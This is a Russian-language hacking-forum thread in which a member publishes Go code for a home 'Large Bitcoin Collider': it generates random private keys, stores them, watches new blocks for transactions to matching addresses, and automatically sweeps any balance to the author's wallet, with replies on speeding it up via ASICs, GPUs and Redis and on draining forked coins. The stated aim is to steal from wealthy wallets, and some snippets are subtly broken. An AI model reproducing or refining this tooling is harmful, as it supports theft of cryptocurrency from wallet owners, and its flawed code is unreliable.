• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой LBC

corax

Премиум
Premium
Регистрация
29.04.2020
Сообщения
1 009
Решения
1
Реакции
628
Гарант сделки
1
Депозит
0.16
Только ленивый не задумывался о том, как бы сбрутить приватный ключ к жирным кошелькам вроде этого https://www.blockchain.com/btc/address/35hK24tcLEWcgNA4JxpvbkNkoAcDGqQPsP
Существует проект с названием Large Bitcoin Collider https://lbc.cryptoguru.org/ Суть их идеи проста: все кошельки с положительным балансом известны, нужно найти коллизии приватных ключей.

Колли́зия хеш-фу́нкции — два различных входных блока данных x и y для хеш-функции H таких, что H(x)=H(y).
Коллизии существуют для большинства хеш-функций, но для «хороших» хеш-функций частота их возникновения близка к теоретическому минимуму.
(c) Википедия

Количество всех возможных ключей 2^160 или 115792089237316195423570985008687907852837564279074904382605163141518161494400 Много, правда?
Но смотреть можно по-другому, каждый биткойн-адрес имеет примерно 2^96 закрытых ключей, соответствующих ему. Стакан наполовину полон!

По причине отсутствия личного дата-центра, разворачиваться буду на домашнем пк. Из вложений - был докуплен SHDD на 500 гигабайт за 3500 рублей чтобы хранить на нём >300 гигабайт блоков.


Ставим bitcoind, запускаем синхронизацию full node. Четыре дня и 25%. Долго, однако.

Поискав в сети, был найден сайт https://getbitcoinblockchain.com, но на нем раздача шла ещё медленнее. Снова фейл.

Вбиваем на удачу на рутрекере и, о чудо, добрый русский человек на раздаче почти круглосуточно https://rutracker.org/forum/viewtopic.php?t=5520053. За ночь раздача скачалась, отлично!


Запускаем rpc-сервер bitcoind -rpcpassword=pass -rpcuser=user -server -datadir=/path/to/blockchain, долго ждём рескана блоков. Пока приступаем к написанию нашего "коллайдера"

C:
// 1BTC
func genLegacy() (string, string) {
    priv, err := btcec.NewPrivateKey(btcec.S256())
    if err != nil {
        log.Fatal(err)
    }
    byteHash := btcutil.Hash160(priv.PubKey().SerializeCompressed())
    addr, err := btcutil.NewAddressPubKeyHash(byteHash, &chaincfg.MainNetParams)
    if err != nil {
        log.Fatal(err)
    }
    wif, _ := btcutil.NewWIF(priv, &chaincfg.MainNetParams, false)
    return wif.String(), addr.String()
}

Изначально, в аккаунт добавлялись просто адреса для мониторинга, это было ошибочное решение, т.к. в один момент сторадж был удалён, а через некоторое время прошли 4 транзакции по этим адресам. Мелкие, но всё же. Теперь приватные ключи нужно импортировать в наш wallet.

C:
func importPriv(privKey string) {
    wif, _ := btcutil.DecodeWIF(privKey)
    if err := client.ImportPrivKeyRescan(wif, "", true); err != nil {
        log.Fatal(err)
    }
}

И rpc-клиент

C:
func newClient() *rpcclient.Client {
    connCfg := &rpcclient.ConnConfig{
        Host:         "localhost:8332",
        User:         "user",
        Pass:         "pass",
        HTTPPostMode: true,
        DisableTLS:   true,
    }
    client, err := rpcclient.New(connCfg, nil)
    if err != nil {
        log.Fatal(err)
    }
    return client
}


Скорость оставляла желать лучшего, а импортировав примерно ~300k ключей скорость упала до 8-12 ключей в секунду на импорте.


Код:
$ stat wallet.dat

  Файл: wallet.dat

  Размер: 339472384     Блоков: 663040     Блок В/В: 4096   обычный файл

Поскольку 24/7 наблюдать нереально, нужно мониторить и делать автослив.
Проверка и автослив положительного баланса

C:
func autoSendBalance() {
    for {
        balance, err := client.GetBalance("*")
        if err != nil {
            log.Println(err)
            continue
        }
        if balance.ToBTC() > 0 {
            myAddress, err := btcutil.DecodeAddress(TO, &chaincfg.MainNetParams)

            //SendFrom requires to the wallet to be unlocked
            if err := client.WalletPassphrase(secret, 60); err != nil {
                panic(err)
            }
            _, err = client.SendFrom("*", myAddress, balance)
            if err != nil {
                log.Println(err)
                continue
            }
        }
        time.Sleep(time.Second * 1)
    }
}


Прошло время, количество импортированных ключей перевалило за 3 миллиона, rpc-сервер еле ворочался, а денег на личный дата-центр по-прежнему как не было, так и нет.

Меняем концепцию, больше никаких импортов в wallet. Сторим приватный ключ и соответствующий сжатый адрес в kv-хранилище. Я выбрал библиотеку boltdb (https://github.com/etcd-io/bbolt) потому что давно с ней работаю и она себя отлично зарекомендовала. Хранилище

C:
func saveToStorage(addr, priv string, db *bolt.DB) error {
    db.Update(func(tx *bolt.Tx) error {
    _, err := tx.CreateBucketIfNotExists([]byte("Bitcoin"))
    if err != nil {
        return err
    }
    return nil
    })
    db.Update(func(tx *bolt.Tx) error {
        b := tx.Bucket([]byte("Bitcoin"))
        err := b.Put([]byte(addr), []byte(priv))
        return err
    })
}


Воркер будет таким

C:
func genWorker() {
    var priv, addr string
    for {
        switch format {
        case "legacy":
            priv, addr = genLegacy()
        /*
        case "p2sh":
            priv, addr = genP2SH()
        case "segwit":
            priv, addr = genSegWit()
        */
        default:
            panic("format not defined")
        }
        saveToStorage(addr, priv)
    }
}


Теперь нужно находить приватный ключ по адресу, если, конечно же, он имеется в нашей базе.

C:
func getPrivKey(addr string, db *bolt.DB) []byte {
    var priv []byte
    db.View(func(tx *bolt.Tx) error {
        b := tx.Bucket([]byte("Bitcoin"))
        priv = b.Get([]byte(addr))
    })
    return priv
}


Ну а теперь, пока `genWorker` работает в отдельной goroutine, будем мониторить транзакции. Как только будет проведена новая, проверим нет ли в нашем хранилище приватного ключа, которому соответствует txOut. И если соответствует, сделаем перевод заветных биточков на нужный кош.

C:
func txTrack() error {
    bc, err := client.GetBlockCount()
    if err != nil {
        return err
    }

    chHash, err := client.GetBlockHash(bc)
    if err != nil {
        return err
    }

    block, err := client.GetBlock(chHash)
    if err != nil {
        return err
    }

    hashes, err := block.TxHashes()
    if err != nil {
        return err
    }
    for _, hash := range hashes {
        parseRawTx(hash.String())
    }
    return nil
}



Собственно, осталось только добавить параметры коммандной строки для удобства, мне достаточно трёх:

- только генерировать новые пары

- генерировать, проверять баланс, отправлять на мой кош

- слить две базы в одну

1 и 3 нужно для того, чтобы в дороге, например, можно было нагружать ноут чем-нибудь полезным,а дома уже объединять с основной. Хотя полезность, конечно, сомнительна.

C:
func joinDB(src, dst string) error {
    srcDb, err := bolt.Open(src, 0600, nil)
    if err != nil {
        return err
    }
    defer srcDb.Close()
    dstDb, err := bolt.Open(dst, 0600, nil)
    if err != nil {
        return err
    }
    defer dstDb.Close()
    srcDb.View(func(tx *bolt.Tx) error {
        b := tx.Bucket([]byte("Bitcoin"))
        c := b.Cursor()
        for k, v := c.First(); k != nil; k, v = c.Next() {
            dstDb.Update(func(tx *bolt.Tx) error {
                b := tx.Bucket([]byte("Bitcoin"))
                err := b.Put(k, v)
                return err
            })
        }
        return nil
    })
    return nil
}

Ну и всё, собственно. Запускаем демон bitcoind с ресканом и построением индексов по транзам, запускаем нашу лотерею и, желательно, забываем о ней. Возможно, через какое-то время будет очень приятный сюрприз. В любом случае, затрат никаких, кроме электроэнергии, да и чем чёрт не шутит.

P.S. Предугадывая главный вопрос, отвечаю сразу - нет, больше коллизий не найдено. Пока не найдено :) Но количество приватный ключей уже измеряется не миллионами, а гигабайтами, так что всё может случится.
 
интересно посмотреть, какова эффективность такого метода. есть какая-то итоговая стата? или 4 транзы это всё? на сайте LBC их стата не работает.
Тут разные подходы:
1) Они брутят коллективно
2) Они брутят определенные кошельки
Мой подход заключается в том, что я просто генерирую пары (для этого мне не нужны асики) и жду когда по ним пройдут транзы. Даже если их пока по этим кошелькам никогда не было, чем дальше - тем более вероятно что-нибудь поймать. Хотя бы потому что обычно используется 1 кош - одна транзакция. Эффективность покажет время. У меня статы нет, как-нибудь позже допишу её. Их статистика
1592338475600.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
По причине отсутствия личного дата-центра, разворачиваться буду на домашнем пк.
Должен тебе сообщить что такая идея уже приходила людям с собственным датацентром и оказалась она абсолютно не профитной.

Идея может выстрелить если допустим разработать специальные асики которые будут ускорять этот процесс в X^1000 раз и больше. А проверку баланса можно организовать самым простым методом. Отпарсить все адреса на которых были транзы и загнать допустим в какую то быструю базу данных смонтированную на диске в оперативной памяти (Linux такое может) и своевременно пополнять список адресов на которых когда либо были танзакции из блокчейна. Хотя сомневаюсь что есть какая то база которая способна будет пережевывать запросы на наличие в ней строки от асиков))
 
Последнее редактирование:
Отпарсить все адреса на которых были транзы и загнать допустим в какую то быструю базу данных
Зачем тебе адреса, на которых когда-либо были транзы? С вероятностью 95% они никогда больше не будут задействованы. Имея асик можно просто брутить топ адресов
Хотя сомневаюсь что есть какая то база которая способна будет пережевывать запросы на наличие в ней строки от асиков))
Redis сможет.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Зачем тебе адреса, на которых когда-либо были транзы? С вероятностью 95% они никогда больше не будут задействованы
Возможно задействованы не будут но ключи от этих адресов содержат биткоинкеш и биткоинголд) Не помню уже где то пробегала стата что на таких адресах с нулевым балансом прилично форкнутых монет.
 
Возможно задействованы не будут но ключи от этих адресов содержат биткоинкеш и биткоинголд) Не помню уже где то пробегала стата что на таких адресах с нулевым балансом прилично форкнутых монет.
Так достаточно сохранить список всех адресов с положительным балансом на момент создания 478558 блока. И затем сравнивать генерируемые с этим списком.
 
На самом деле я уже не один раз задумывался над подобной идеей. Только отличие было в том, что каждый сгенеренный ключ я хотел проверять на балланс и, только в случае положительного, сохранять себе в валлет. Хотя, возможно я что-то не так понял и ваш второй вариант - это именно то о чем я думал. Остановило меня то, что я могу генерировать тысячи адресов в секунду. А как их проверить на положительный балланс с такой же скоростью?...
Идея, кстати, не такая уж и утопическая, если к ней прикрутить работу с GPU. А "дуракам везет"! Вот такие "на шару" и срывают порой банки...
 
На самом деле я уже не один раз задумывался над подобной идеей. Только отличие было в том, что каждый сгенеренный ключ я хотел проверять на балланс и, только в случае положительного, сохранять себе в валлет. Хотя, возможно я что-то не так понял и ваш второй вариант - это именно то о чем я думал. Остановило меня то, что я могу генерировать тысячи адресов в секунду. А как их проверить на положительный балланс с такой же скоростью?...
Идея, кстати, не такая уж и утопическая, если к ней прикрутить работу с GPU. А "дуракам везет"! Вот такие "на шару" и срывают порой банки...
Дешёвый способ - держать txindex в памяти, там не так и много. Сейчас около 12 гигабайт, если я не ошибаюсь. Плюс если у вас хороший пинг, вы можете в мемпул слать напрямую, быстрее биржи. Даже можно удешевить используя redis, остатка на кошельке быть не может, с каждой транзой кэшируйте txout:balance. Можно обойтись очень незначительным ресурсом.
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх